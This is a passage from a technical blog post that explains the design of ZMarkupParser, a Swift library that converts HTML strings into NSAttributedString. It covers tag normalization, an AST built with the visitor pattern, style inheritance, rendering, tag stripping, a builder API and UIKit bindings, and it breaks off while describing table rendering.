add to Stack stackExpectedStartItems.append(item) itemIndex += 1 } case .close(let item): // Encounter Close Tag // Get the Tags between the Start Stack Tag and this Close Tag // e.g., <a><u><b>[CurrentIndex]</a></u></b> -> interval 0 // e.g., <a><u><b>[CurrentIndex]</a></u></b> -> interval b,u let reversedStackExpectedStartItems = Array(stackExpectedStartItems.reversed()) guard let reversedStackExpectedStartItemsOccurredIndex = reversedStackExpectedStartItems.firstIndex(where: { $0.tagName == item.tagName }) else { itemIndex += 1 continue } let reversedStackExpectedStartItemsOccurred = Array(reversedStackExpectedStartItems.prefix(upTo: reversedStackExpectedStartItemsOccurredIndex)) // Interval 0, means no tag misalignment guard reversedStackExpectedStartItemsOccurred.count != 0 else { // is pair, pop stackExpectedStartItems.removeLast() itemIndex += 1 continue } // There are other intervals, automatically fill in the interval Tags // e.g., <a><u><b>[CurrentIndex]</a></u></b> -> // e.g., <a><u><b>[CurrentIndex]</b></u></a><b></u></u></b> let stackExpectedStartItemsOccurred = Array(reversedStackExpectedStartItemsOccurred.reversed()) let afterItems = stackExpectedStartItemsOccurred.map({ HTMLParsedResult.start($0) }) let beforeItems = reversedStackExpectedStartItemsOccurred.map({ HTMLParsedResult.close($0.convertToCloseParsedItem()) }) normalizationResult.insert(contentsOf: afterItems, at: newItems.index(after: itemIndex)) normalizationResult.insert(contentsOf: beforeItems, at: itemIndex) itemIndex = newItems.index(after: itemIndex) + stackExpectedStartItemsOccurred.count // Update Start Stack Tags // e.g., -> b,u stackExpectedStartItems.removeAll { startItem in return reversedStackExpectedStartItems.prefix(through: reversedStackExpectedStartItemsOccurredIndex).contains(where: { $0 === startItem }) } case .selfClosing, .rawString: itemIndex += 1 }}print(normalizationResult)// [// .start(\"a\",[\"href\":\"https://zhgchg.li\"])// .rawString(\"Li\")// .start(\"b\",nil)// .rawString(\"nk\")// .close(\"b\")// .close(\"a\")// .start(\"b\",nil)// .rawString(\"Bold\")// .close(\"b\")// ] Corresponding implementation in the source code HTMLParsedResultFormatterProcessor.swiftAbstract Syntax Tree a.k.a AST, Abstract TreeAfter the Tokenization & Normalization data preprocessing is completed, the result needs to be converted into an abstract tree 🌲.As shown in the figureConverting into an abstract tree facilitates our future operations and extensions, such as implementing Selector functionality or other conversions like HTML to Markdown; or if we want to add Markdown to NSAttributedString in the future, we only need to implement Markdown’s Tokenization & Normalization to complete it.First, we define a Markup Protocol with Child & Parent properties to record the information of leaves and branches:protocol Markup: AnyObject { var parentMarkup: Markup? { get set } var childMarkups: [Markup] { get set } func appendChild(markup: Markup) func prependChild(markup: Markup) func accept<V: MarkupVisitor>(_ visitor: V) -> V.Result}extension Markup { func appendChild(markup: Markup) { markup.parentMarkup = self childMarkups.append(markup) } func prependChild(markup: Markup) { markup.parentMarkup = self childMarkups.insert(markup, at: 0) }}Additionally, using the Visitor Pattern, each style attribute is defined as an object Element, and different Visit strategies are used to obtain individual application results.protocol MarkupVisitor { associatedtype Result func visit(markup: Markup) -> Result func visit(_ markup: RootMarkup) -> Result func visit(_ markup: RawStringMarkup) -> Result func visit(_ markup: BoldMarkup) -> Result func visit(_ markup: LinkMarkup) -> Result //...}extension MarkupVisitor { func visit(markup: Markup) -> Result { return markup.accept(self) }}Basic Markup nodes:// Root nodefinal class RootMarkup: Markup { weak var parentMarkup: Markup? = nil var childMarkups: [Markup] = [] func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor { return visitor.visit(self) }}// Leaf nodefinal class RawStringMarkup: Markup { let attributedString: NSAttributedString init(attributedString: NSAttributedString) { self.attributedString = attributedString } weak var parentMarkup: Markup? = nil var childMarkups: [Markup] = [] func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor { return visitor.visit(self) }}Define Markup Style Nodes:// Branch nodes:// Link stylefinal class LinkMarkup: Markup { weak var parentMarkup: Markup? = nil var childMarkups: [Markup] = [] func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor { return visitor.visit(self) }}// Bold stylefinal class BoldMarkup: Markup { weak var parentMarkup: Markup? = nil var childMarkups: [Markup] = [] func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor { return visitor.visit(self) }} Corresponding implementation in the source code MarkupBefore converting to an abstract tree, we also need…MarkupComponentBecause our tree structure does not depend on any data structure (for example, a node/LinkMarkup should have URL information to perform subsequent rendering).For this, we define a container to store tree nodes and related data information:protocol MarkupComponent { associatedtype T var markup: Markup { get } var value: T { get } init(markup: Markup, value: T)}extension Sequence where Iterator.Element: MarkupComponent { func value(markup: Markup) -> Element.T? { return self.first(where:{ $0.markup === markup })?.value as? Element.T }} Corresponding implementation in the source code MarkupComponentYou can also declare Markup as Hashable and directly use Dictionary to store values [Markup: Any], but in this way, Markup cannot be used as a general type and needs to be prefixed with any Markup.HTMLTag & HTMLTagName & HTMLTagNameVisitorWe also abstracted the HTML Tag Name part, allowing users to decide which tags need to be processed and facilitating future extensions. For example, the <strong> Tag Name can correspond to BoldMarkup.public protocol HTMLTagName { var string: String { get } func accept<V: HTMLTagNameVisitor>(_ visitor: V) -> V.Result}public struct A_HTMLTagName: HTMLTagName { public let string: String = WC3HTMLTagName.a.rawValue public init() { } public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagNameVisitor { return visitor.visit(self) }}public struct B_HTMLTagName: HTMLTagName { public let string: String = WC3HTMLTagName.b.rawValue public init() { } public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagNameVisitor { return visitor.visit(self) }} Corresponding implementation in the source code HTMLTagNameVisitor Additionally, refer to the W3C wiki which lists the HTML tag name enum: WC3HTMLTagName.swiftHTMLTag is simply a container object because we want to allow external specification of the style corresponding to the HTML Tag, so we declare a container to put them together:struct HTMLTag { let tagName: HTMLTagName let customStyle: MarkupStyle? // Render will be explained later init(tagName: HTMLTagName, customStyle: MarkupStyle? = nil) { self.tagName = tagName self.customStyle = customStyle }} Corresponding implementation in the source code HTMLTagHTMLTagNameToHTMLMarkupVisitorstruct HTMLTagNameToMarkupVisitor: HTMLTagNameVisitor { typealias Result = Markup let attributes: [String: String]? func visit(_ tagName: A_HTMLTagName) -> Result { return LinkMarkup() } func visit(_ tagName: B_HTMLTagName) -> Result { return BoldMarkup() } //...} Corresponding implementation in the source code HTMLTagNameToHTMLMarkupVisitorConvert to Abstract Tree with HTML DataWe need to convert the result of the normalized HTML data into an abstract tree. First, declare a MarkupComponent data structure that can store HTML data:struct HTMLElementMarkupComponent: MarkupComponent { struct HTMLElement { let tag: HTMLTag let tagAttributedString: NSAttributedString let attributes: [String: String]? } typealias T = HTMLElement let markup: Markup let value: HTMLElement init(markup: Markup, value: HTMLElement) { self.markup = markup self.value = value }}Convert to Markup Abstract Tree:var htmlElementComponents: [HTMLElementMarkupComponent] = []let rootMarkup = RootMarkup()var currentMarkup: Markup = rootMarkuplet htmlTags: [String: HTMLTag]init(htmlTags: [HTMLTag]) { self.htmlTags = Dictionary(uniqueKeysWithValues: htmlTags.map{ ($0.tagName.string, $0) })}// Start Tags Stack, ensure correct pop tag// Normalization has already been done before, it should not go wrong, just to ensurevar stackExpectedStartItems: [HTMLParsedResult.StartItem] = []for thisItem in from { switch thisItem { case .start(let item): let visitor = HTMLTagNameToMarkupVisitor(attributes: item.attributes) let htmlTag = self.htmlTags[item.tagName] ?? HTMLTag(tagName: ExtendTagName(item.tagName)) // Use Visitor to ask for the corresponding Markup let markup = visitor.visit(tagName: htmlTag.tagName) // Add itself to the current branch's leaf node // Itself becomes the current branch node htmlElementComponents.append(.init(markup: markup, value: .init(tag: htmlTag, tagAttributedString: item.tagAttributedString, attributes: item.attributes))) currentMarkup.appendChild(markup: markup) currentMarkup = markup stackExpectedStartItems.append(item) case .selfClosing(let item): // Directly add to the current branch's leaf node let visitor = HTMLTagNameToMarkupVisitor(attributes: item.attributes) let htmlTag = self.htmlTags[item.tagName] ?? HTMLTag(tagName: ExtendTagName(item.tagName)) let markup = visitor.visit(tagName: htmlTag.tagName) htmlElementComponents.append(.init(markup: markup, value: .init(tag: htmlTag, tagAttributedString: item.tagAttributedString, attributes: item.attributes))) currentMarkup.appendChild(markup: markup) case .close(let item): if let lastTagName = stackExpectedStartItems.popLast()?.tagName, lastTagName == item.tagName { // When encountering Close Tag, return to the previous level currentMarkup = currentMarkup.parentMarkup ?? currentMarkup } case .rawString(let attributedString): // Directly add to the current branch's leaf node currentMarkup.appendChild(markup: RawStringMarkup(attributedString: attributedString)) }}// print(htmlElementComponents)// [(markup: LinkMarkup, (tag: a, attributes: [\"href\":\"zhgchg.li\"]...)]Operation result as shown in the figure Corresponding source code implementation in HTMLParsedResultToHTMLElementWithRootMarkupProcessor.swiftAt this point, we have actually completed the functionality of the Selector 🎉public class HTMLSelector: CustomStringConvertible { let markup: Markup let componets: [HTMLElementMarkupComponent] init(markup: Markup, componets: [HTMLElementMarkupComponent]) { self.markup = markup self.componets = componets } public func filter(_ htmlTagName: String) -> [HTMLSelector] { let result = markup.childMarkups.filter({ componets.value(markup: $0)?.tag.tagName.isEqualTo(htmlTagName) ?? false }) return result.map({ .init(markup: $0, componets: componets) }) } //...}We can filter leaf node objects layer by layer. Corresponding source code implementation in HTMLSelectorParser — HTML to MarkupStyle (Abstract of NSAttributedString.Key)Next, we need to complete the conversion of HTML to MarkupStyle (NSAttributedString.Key).NSAttributedString sets the text style through NSAttributedString.Key Attributes. We abstract all fields of NSAttributedString.Key to correspond to MarkupStyle, MarkupStyleColor, MarkupStyleFont, MarkupStyleParagraphStyle.Purpose: The original data structure of Attributes is [NSAttributedString.Key: Any?]. If exposed directly, it is difficult to control the values users input, and incorrect values may cause crashes, such as .font: 123. Styles need to be inheritable, such as <a><b>test</b></a>, where the style of the test string inherits from the link’s bold (bold+link); if the Dictionary is exposed directly, it is difficult to control the inheritance rules. Encapsulate iOS/macOS (UIKit/Appkit) related objects.MarkupStyle Structpublic struct MarkupStyle { public var font:MarkupStyleFont public var paragraphStyle:MarkupStyleParagraphStyle public var foregroundColor:MarkupStyleColor? = nil public var backgroundColor:MarkupStyleColor? = nil public var ligature:NSNumber? = nil public var kern:NSNumber? = nil public var tracking:NSNumber? = nil public var strikethroughStyle:NSUnderlineStyle? = nil public var underlineStyle:NSUnderlineStyle? = nil public var strokeColor:MarkupStyleColor? = nil public var strokeWidth:NSNumber? = nil public var shadow:NSShadow? = nil public var textEffect:String? = nil public var attachment:NSTextAttachment? = nil public var link:URL? = nil public var baselineOffset:NSNumber? = nil public var underlineColor:MarkupStyleColor? = nil public var strikethroughColor:MarkupStyleColor? = nil public var obliqueness:NSNumber? = nil public var expansion:NSNumber? = nil public var writingDirection:NSNumber? = nil public var verticalGlyphForm:NSNumber? = nil //... // Inherited from... // Default: When the field is nil, fill in the current data object from 'from' mutating func fillIfNil(from: MarkupStyle?) { guard let from = from else { return } var currentFont = self.font currentFont.fillIfNil(from: from.font) self.font = currentFont var currentParagraphStyle = self.paragraphStyle currentParagraphStyle.fillIfNil(from: from.paragraphStyle) self.paragraphStyle = currentParagraphStyle //.. } // MarkupStyle to NSAttributedString.Key: Any func render() -> [NSAttributedString.Key: Any] { var data: [NSAttributedString.Key: Any] = [:] if let font = font.getFont() { data[.font] = font } if let ligature = self.ligature { data[.ligature] = ligature } //... return data }}public struct MarkupStyleFont: MarkupStyleItem { public enum FontWeight { case style(FontWeightStyle) case rawValue(CGFloat) } public enum FontWeightStyle: String { case ultraLight, light, thin, regular, medium, semibold, bold, heavy, black // ... } public var size: CGFloat? public var weight: FontWeight? public var italic: Bool? //...}public struct MarkupStyleParagraphStyle: MarkupStyleItem { public var lineSpacing:CGFloat? = nil public var paragraphSpacing:CGFloat? = nil public var alignment:NSTextAlignment? = nil public var headIndent:CGFloat? = nil public var tailIndent:CGFloat? = nil public var firstLineHeadIndent:CGFloat? = nil public var minimumLineHeight:CGFloat? = nil public var maximumLineHeight:CGFloat? = nil public var lineBreakMode:NSLineBreakMode? = nil public var baseWritingDirection:NSWritingDirection? = nil public var lineHeightMultiple:CGFloat? = nil public var paragraphSpacingBefore:CGFloat? = nil public var hyphenationFactor:Float? = nil public var usesDefaultHyphenation:Bool? = nil public var tabStops: [NSTextTab]? = nil public var defaultTabInterval:CGFloat? = nil public var textLists: [NSTextList]? = nil public var allowsDefaultTighteningForTruncation:Bool? = nil public var lineBreakStrategy: NSParagraphStyle.LineBreakStrategy? = nil //...}public struct MarkupStyleColor { let red: Int let green: Int let blue: Int let alpha: CGFloat //...} Corresponding implementation in the source code MarkupStyle Additionally, refer to the W3c wiki, browser predefined color name enumerates the corresponding color name text & color R,G,B enum: MarkupStyleColorName.swiftHTMLTagStyleAttribute & HTMLTagStyleAttributeVisitorLet’s talk a bit more about these two objects because HTML Tags are allowed to be styled using CSS settings; for this, we abstract the HTMLTagName and apply it once again to the HTML Style Attribute.For example, HTML might provide: <a style=”color:red;font-size:14px”>RedLink</a>, which means this link should be set to red and size 14px.public protocol HTMLTagStyleAttribute { var styleName: String { get } func accept<V: HTMLTagStyleAttributeVisitor>(_ visitor: V) -> V.Result}public protocol HTMLTagStyleAttributeVisitor { associatedtype Result func visit(styleAttribute: HTMLTagStyleAttribute) -> Result func visit(_ styleAttribute: ColorHTMLTagStyleAttribute) -> Result func visit(_ styleAttribute: FontSizeHTMLTagStyleAttribute) -> Result //...}public extension HTMLTagStyleAttributeVisitor { func visit(styleAttribute: HTMLTagStyleAttribute) -> Result { return styleAttribute.accept(self) }} Corresponding implementation in the source code HTMLTagStyleAttributeHTMLTagStyleAttributeToMarkupStyleVisitorstruct HTMLTagStyleAttributeToMarkupStyleVisitor: HTMLTagStyleAttributeVisitor { typealias Result = MarkupStyle? let value: String func visit(_ styleAttribute: ColorHTMLTagStyleAttribute) -> Result { // Regex to extract Color Hex or Mapping from HTML Pre-defined Color Name, please refer to the Source Code guard let color = MarkupStyleColor(string: value) else { return nil } return MarkupStyle(foregroundColor: color) } func visit(_ styleAttribute: FontSizeHTMLTagStyleAttribute) -> Result { // Regex to extract 10px -> 10, please refer to the Source Code guard let size = self.convert(fromPX: value) else { return nil } return MarkupStyle(font: MarkupStyleFont(size: CGFloat(size))) } // ...} Corresponding implementation in the source code HTMLTagAttributeToMarkupStyleVisitor.swiftinit’s value = attribute’s value, converted to the corresponding MarkupStyle field according to the visit type.HTMLElementMarkupComponentMarkupStyleVisitorAfter introducing the MarkupStyle object, we need to convert the result of Normalization’s HTMLElementComponents into MarkupStyle.// MarkupStyle policypublic enum MarkupStylePolicy { case respectMarkupStyleFromCode // Prioritize from Code, fill in with HTML Style Attribute case respectMarkupStyleFromHTMLStyleAttribute // Prioritize from HTML Style Attribute, fill in with Code}struct HTMLElementMarkupComponentMarkupStyleVisitor: MarkupVisitor { typealias Result = MarkupStyle? let policy: MarkupStylePolicy let components: [HTMLElementMarkupComponent] let styleAttributes: [HTMLTagStyleAttribute] func visit(_ markup: BoldMarkup) -> Result { // .bold is just a default style defined in MarkupStyle, please refer to the Source Code return defaultVisit(components.value(markup: markup), defaultStyle: .bold) } func visit(_ markup: LinkMarkup) -> Result { // .link is just a default style defined in MarkupStyle, please refer to the Source Code var markupStyle = defaultVisit(components.value(markup: markup), defaultStyle: .link) ?? .link // Get the HtmlElement corresponding to LinkMarkup from HtmlElementComponents // Find the href parameter from the attributes of HtmlElement (HTML carries URL String) if let href = components.value(markup: markup)?.attributes?[\"href\"] as? String, let url = URL(string: href) { markupStyle.link = url } return markupStyle } // ...}extension HTMLElementMarkupComponentMarkupStyleVisitor { // Get the custom MarkupStyle specified in the HTMLTag container private func customStyle(_ htmlElement: HTMLElementMarkupComponent.HTMLElement?) -> MarkupStyle? { guard let customStyle = htmlElement?.tag.customStyle else { return nil } return customStyle } // Default action func defaultVisit(_ htmlElement: HTMLElementMarkupComponent.HTMLElement?, defaultStyle: MarkupStyle? = nil) -> Result { var markupStyle: MarkupStyle? = customStyle(htmlElement) ?? defaultStyle // Get the HtmlElement corresponding to LinkMarkup from HtmlElementComponents // Check if the attributes of HtmlElement have a `Style` Attribute guard let styleString = htmlElement?.attributes?[\"style\"], styleAttributes.count > 0 else { // No return markupStyle } // Has Style Attributes // Split the Style Value string into an array // font-size:14px;color:red -> [\"font-size\":\"14px\",\"color\":\"red\"] let styles = styleString.split(separator: \";\").filter { $0.trimmingCharacters(in: .whitespacesAndNewlines) != \"\" }.map { $0.split(separator: \":\") } for style in styles { guard style.count == 2 else { continue } // e.g font-size let key = style[0].trimmingCharacters(in: .whitespacesAndNewlines) // e.g. 14px let value = style[1].trimmingCharacters(in: .whitespacesAndNewlines) if let styleAttribute = styleAttributes.first(where: { $0.isEqualTo(styleName: key) }) { // Use the HTMLTagStyleAttributeToMarkupStyleVisitor mentioned above to convert back to MarkupStyle let visitor = HTMLTagStyleAttributeToMarkupStyleVisitor(value: value) if var thisMarkupStyle = visitor.visit(styleAttribute: styleAttribute) { // When Style Attribute has a return value.. // Merge the result of the previous MarkupStyle thisMarkupStyle.fillIfNil(from: markupStyle) markupStyle = thisMarkupStyle } } } // If there is a default Style if var defaultStyle = defaultStyle { switch policy { case .respectMarkupStyleFromHTMLStyleAttribute: // Prioritize Style Attribute MarkupStyle, then // Merge the result of defaultStyle markupStyle?.fillIfNil(from: defaultStyle) case .respectMarkupStyleFromCode: // Prioritize defaultStyle, then // Merge the result of Style Attribute MarkupStyle defaultStyle.fillIfNil(from: markupStyle) markupStyle = defaultStyle } } return markupStyle }} Corresponding implementation in the source code HTMLTagAttributeToMarkupStyleVisitor.swiftWe will define some default styles in MarkupStyle. Some Markup will use the default style if the desired style is not specified from outside the code.There are two style inheritance strategies: respectMarkupStyleFromCode:Use the default style as the primary; then see what styles can be supplemented from the Style Attributes, ignoring if there is already a value. respectMarkupStyleFromHTMLStyleAttribute:Use the Style Attributes as the primary; then see what styles can be supplemented from the default style, ignoring if there is already a value.HTMLElementWithMarkupToMarkupStyleProcessorConvert the Normalization result into AST & MarkupStyleComponent.Declare a new MarkupComponent to store the corresponding MarkupStyle:struct MarkupStyleComponent: MarkupComponent { typealias T = MarkupStyle let markup: Markup let value: MarkupStyle init(markup: Markup, value: MarkupStyle) { self.markup = markup self.value = value }}Simple traversal of the Markup Tree & HTMLElementMarkupComponent structure:let styleAttributes: [HTMLTagStyleAttribute]let policy: MarkupStylePolicy func process(from: (Markup, [HTMLElementMarkupComponent])) -> [MarkupStyleComponent] { var components: [MarkupStyleComponent] = [] let visitor = HTMLElementMarkupComponentMarkupStyleVisitor(policy: policy, components: from.1, styleAttributes: styleAttributes) walk(markup: from.0, visitor: visitor, components: &components) return components} func walk(markup: Markup, visitor: HTMLElementMarkupComponentMarkupStyleVisitor, components: inout [MarkupStyleComponent]) { if let markupStyle = visitor.visit(markup: markup) { components.append(.init(markup: markup, value: markupStyle)) } for markup in markup.childMarkups { walk(markup: markup, visitor: visitor, components: &components) }}// print(components)// [(markup: LinkMarkup, MarkupStyle(link: https://zhgchg.li, color: .blue)]// [(markup: BoldMarkup, MarkupStyle(font: .init(weight: .bold))] Corresponding implementation in the original code HTMLElementWithMarkupToMarkupStyleProcessor.swiftThe process result is shown in the above imageRender — Convert To NSAttributedStringNow that we have the HTML Tag abstract tree structure and the MarkupStyle corresponding to the HTML Tag, the final step is to produce the final NSAttributedString rendering result.MarkupNSAttributedStringVisitorvisit markup to NSAttributedStringstruct MarkupNSAttributedStringVisitor: MarkupVisitor { typealias Result = NSAttributedString let components: [MarkupStyleComponent] // root / base MarkupStyle, specified externally, for example, the size of the entire string let rootStyle: MarkupStyle? func visit(_ markup: RootMarkup) -> Result { // Look down to the RawString object return collectAttributedString(markup) } func visit(_ markup: RawStringMarkup) -> Result { // Return Raw String // Collect all MarkupStyles in the chain // Apply Style to NSAttributedString return applyMarkupStyle(markup.attributedString, with: collectMarkupStyle(markup)) } func visit(_ markup: BoldMarkup) -> Result { // Look down to the RawString object return collectAttributedString(markup) } func visit(_ markup: LinkMarkup) -> Result { // Look down to the RawString object return collectAttributedString(markup) } // ...}private extension MarkupNSAttributedStringVisitor { // Apply Style to NSAttributedString func applyMarkupStyle(_ attributedString: NSAttributedString, with markupStyle: MarkupStyle?) -> NSAttributedString { guard let markupStyle = markupStyle else { return attributedString } let mutableAttributedString = NSMutableAttributedString(attributedString: attributedString) mutableAttributedString.addAttributes(markupStyle.render(), range: NSMakeRange(0, mutableAttributedString.string.utf16.count)) return mutableAttributedString } func collectAttributedString(_ markup: Markup) -> NSMutableAttributedString { // collect from downstream // Root -> Bold -> String(\"Bold\") // \\ // > String(\"Test\") // Result: Bold Test // Recursively visit and combine the final NSAttributedString by looking down layer by layer for raw strings return markup.childMarkups.compactMap({ visit(markup: $0) }).reduce(NSMutableAttributedString()) { partialResult, attributedString in partialResult.append(attributedString) return partialResult } } func collectMarkupStyle(_ markup: Markup) -> MarkupStyle? { // collect from upstream // String(\"Test\") -> Bold -> Italic -> Root // Result: style: Bold+Italic // Inherit styles layer by layer by looking up for parent tag's markupstyle var currentMarkup: Markup? = markup.parentMarkup var currentStyle = components.value(markup: markup) while let thisMarkup = currentMarkup { guard let thisMarkupStyle = components.value(markup: thisMarkup) else { currentMarkup = thisMarkup.parentMarkup continue } if var thisCurrentStyle = currentStyle { thisCurrentStyle.fillIfNil(from: thisMarkupStyle) currentStyle = thisCurrentStyle } else { currentStyle = thisMarkupStyle } currentMarkup = thisMarkup.parentMarkup } if var currentStyle = currentStyle { currentStyle.fillIfNil(from: rootStyle) return currentStyle } else { return rootStyle } }} Corresponding implementation in the source code MarkupNSAttributedStringVisitor.swiftOperation process and result as shown in the figureFinally, we can get:Li{ NSColor = \"Blue\"; NSFont = \"<UICTFont: 0x145d17600> font-family: \\\".SFUI-Regular\\\"; font-weight: normal; font-style: normal; font-size: 13.00pt\"; NSLink = \"https://zhgchg.li\";}nk{ NSColor = \"Blue\"; NSFont = \"<UICTFont: 0x145d18710> font-family: \\\".SFUI-Semibold\\\"; font-weight: bold; font-style: normal; font-size: 13.00pt\"; NSLink = \"https://zhgchg.li\";}Bold{ NSFont = \"<UICTFont: 0x145d18710> font-family: \\\".SFUI-Semibold\\\"; font-weight: bold; font-style: normal; font-size: 13.00pt\";} 🎉🎉🎉🎉Completed🎉🎉🎉🎉At this point, we have completed the entire conversion process from HTML String to NSAttributedString.Stripper — Stripping HTML TagsStripping HTML tags is relatively simple, just need to:func attributedString(_ markup: Markup) -> NSAttributedString { if let rawStringMarkup = markup as? RawStringMarkup { return rawStringMarkup.attributedString } else { return markup.childMarkups.compactMap({ attributedString($0) }).reduce(NSMutableAttributedString()) { partialResult, attributedString in partialResult.append(attributedString) return partialResult } }} Corresponding implementation in the source code MarkupStripperProcessor.swiftSimilar to Render, but purely returns the content after finding RawStringMarkup.Extend — Dynamic ExtensionTo extend and cover all HTMLTag/Style Attributes, a dynamic extension port is opened, making it convenient to dynamically extend objects directly from the code.public struct ExtendTagName: HTMLTagName { public let string: String public init(_ w3cHTMLTagName: WC3HTMLTagName) { self.string = w3cHTMLTagName.rawValue } public init(_ string: String) { self.string = string.trimmingCharacters(in: .whitespacesAndNewlines).lowercased() } public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagNameVisitor { return visitor.visit(self) }}// tofinal class ExtendMarkup: Markup { weak var parentMarkup: Markup? = nil var childMarkups: [Markup] = [] func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor { return visitor.visit(self) }}//----public struct ExtendHTMLTagStyleAttribute: HTMLTagStyleAttribute { public let styleName: String public let render: ((String) -> (MarkupStyle?)) // Dynamically change MarkupStyle using closure public init(styleName: String, render: @escaping ((String) -> (MarkupStyle?))) { self.styleName = styleName self.render = render } public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagStyleAttributeVisitor { return visitor.visit(self) }}ZHTMLParserBuilderFinally, we use the Builder Pattern to allow external Modules to quickly construct the objects required by ZMarkupParser and ensure Access Level Control.public final class ZHTMLParserBuilder { private(set) var htmlTags: [HTMLTag] = [] private(set) var styleAttributes: [HTMLTagStyleAttribute] = [] private(set) var rootStyle: MarkupStyle? private(set) var policy: MarkupStylePolicy = .respectMarkupStyleFromCode public init() { } public static func initWithDefault() -> Self { var builder = Self.init() for htmlTagName in ZHTMLParserBuilder.htmlTagNames { builder = builder.add(htmlTagName) } for styleAttribute in ZHTMLParserBuilder.styleAttributes { builder = builder.add(styleAttribute) } return builder } public func set(_ htmlTagName: HTMLTagName, withCustomStyle markupStyle: MarkupStyle?) -> Self { return self.add(htmlTagName, withCustomStyle: markupStyle) } public func add(_ htmlTagName: HTMLTagName, withCustomStyle markupStyle: MarkupStyle? = nil) -> Self { // Only one tagName can exist htmlTags.removeAll { htmlTag in return htmlTag.tagName.string == htmlTagName.string } htmlTags.append(HTMLTag(tagName: htmlTagName, customStyle: markupStyle)) return self } public func add(_ styleAttribute: HTMLTagStyleAttribute) -> Self { styleAttributes.removeAll { thisStyleAttribute in return thisStyleAttribute.styleName == styleAttribute.styleName } styleAttributes.append(styleAttribute) return self } public func set(rootStyle: MarkupStyle) -> Self { self.rootStyle = rootStyle return self } public func set(policy: MarkupStylePolicy) -> Self { self.policy = policy return self } public func build() -> ZHTMLParser { // ZHTMLParser init is only open for internal use, external cannot directly init // Can only be initialized through ZHTMLParserBuilder return ZHTMLParser(htmlTags: htmlTags, styleAttributes: styleAttributes, policy: policy, rootStyle: rootStyle) }} Corresponding implementation in ZHTMLParserBuilder.swiftinitWithDefault will add all implemented HTMLTagName/Style Attribute by defaultpublic extension ZHTMLParserBuilder { static var htmlTagNames: [HTMLTagName] { return [ A_HTMLTagName(), B_HTMLTagName(), BR_HTMLTagName(), DIV_HTMLTagName(), HR_HTMLTagName(), I_HTMLTagName(), LI_HTMLTagName(), OL_HTMLTagName(), P_HTMLTagName(), SPAN_HTMLTagName(), STRONG_HTMLTagName(), U_HTMLTagName(), UL_HTMLTagName(), DEL_HTMLTagName(), TR_HTMLTagName(), TD_HTMLTagName(), TH_HTMLTagName(), TABLE_HTMLTagName(), IMG_HTMLTagName(handler: nil), // ... ] }}public extension ZHTMLParserBuilder { static var styleAttributes: [HTMLTagStyleAttribute] { return [ ColorHTMLTagStyleAttribute(), BackgroundColorHTMLTagStyleAttribute(), FontSizeHTMLTagStyleAttribute(), FontWeightHTMLTagStyleAttribute(), LineHeightHTMLTagStyleAttribute(), WordSpacingHTMLTagStyleAttribute(), // ... ] }}ZHTMLParser init is only open internally, external cannot directly init, can only init through ZHTMLParserBuilder.ZHTMLParser encapsulates Render/Selector/Stripper operations:public final class ZHTMLParser: ZMarkupParser { let htmlTags: [HTMLTag] let styleAttributes: [HTMLTagStyleAttribute] let rootStyle: MarkupStyle? internal init(...) { } // Get link style attributes public var linkTextAttributes: [NSAttributedString.Key: Any] { // ... } public func selector(_ string: String) -> HTMLSelector { // ... } public func selector(_ attributedString: NSAttributedString) -> HTMLSelector { // ... } public func render(_ string: String) -> NSAttributedString { // ... } // Allow rendering of NSAttributedString within nodes using HTMLSelector results public func render(_ selector: HTMLSelector) -> NSAttributedString { // ... } public func render(_ attributedString: NSAttributedString) -> NSAttributedString { // ... } public func stripper(_ string: String) -> String { // ... } public func stripper(_ attributedString: NSAttributedString) -> NSAttributedString { // ... } // ...} Corresponding implementation in the original code ZHTMLParser.swiftUIKit IssuesThe result of NSAttributedString is most commonly displayed in a UITextView, but note: The link style in UITextView is uniformly determined by the linkTextAttributes setting, not by the NSAttributedString.Key setting, and individual styles cannot be set; hence the ZMarkupParser.linkTextAttributes opening. UILabel currently has no way to change the link style, and since UILabel does not have TextStorage, if you want to load NSTextAttachment images, you need to handle UILabel separately.public extension UITextView { func setHtmlString(_ string: String, with parser: ZHTMLParser) { self.setHtmlString(NSAttributedString(string: string), with: parser) } func setHtmlString(_ string: NSAttributedString, with parser: ZHTMLParser) { self.attributedText = parser.render(string) self.linkTextAttributes = parser.linkTextAttributes }}public extension UILabel { func setHtmlString(_ string: String, with parser: ZHTMLParser) { self.setHtmlString(NSAttributedString(string: string), with: parser) } func setHtmlString(_ string: NSAttributedString, with parser: ZHTMLParser) { let attributedString = parser.render(string) attributedString.enumerateAttribute(NSAttributedString.Key.attachment, in: NSMakeRange(0, attributedString.string.utf16.count), options: []) { (value, effectiveRange, nil) in guard let attachment = value as? ZNSTextAttachment else { return } attachment.register(self) } self.attributedText = attributedString }}Therefore, by extending UIKit, external users only need to use setHTMLString() to complete the binding.Complex Rendering Items— List ItemsRecord of implementing list items.Using <ol> / <ul> to wrap <li> in HTML to represent list items:<ul> <li>ItemA</li> <li>ItemB</li> <li>ItemC</li> //...</ul>Using the same parsing method as before, we can get other list items in visit(_ markup: ListItemMarkup) to know the current list index (thanks to converting to AST).func visit(_ markup: ListItemMarkup) -> Result { let siblingListItems = markup.parentMarkup?.childMarkups.filter({ $0 is ListItemMarkup }) ?? [] let position = (siblingListItems.firstIndex(where: { $0 === markup }) ?? 0)}NSParagraphStyle has an NSTextList object that can be used to display list items, but in practice, it cannot customize the width of the whitespace (personally, I think the whitespace is too large). If there is whitespace between the bullet and the string, it will trigger a line break here, making the display look a bit odd, as shown in the image below:The Better part can potentially be achieved by setting headIndent, firstLineHeadIndent, NSTextTab, but testing shows that if the string is too long or the size changes, it still cannot perfectly present the result.Currently, it is only Acceptable, combining the list item string and inserting it before the string.We only use NSTextList.MarkerFormat to generate list item symbols, rather than directly using NSTextList.For a list of supported list symbols, refer to: MarkupStyleList.swiftFinal display result: <ol><li>Complex Rendering Items — TableSimilar to the implementation of list items, but for tables.Using <table> in HTML to create a table -> wrapping <tr> table rows -> wrapping <td>/<th> to represent table cells:<table> <tr> <th>Company</th> <th>Contact</th> <th>Country</th> </tr> <tr> <td>Alfreds Futterkiste</td> <td>Maria Anders</td> <td>Germany</td> </tr> <tr> <td>Centro comercial 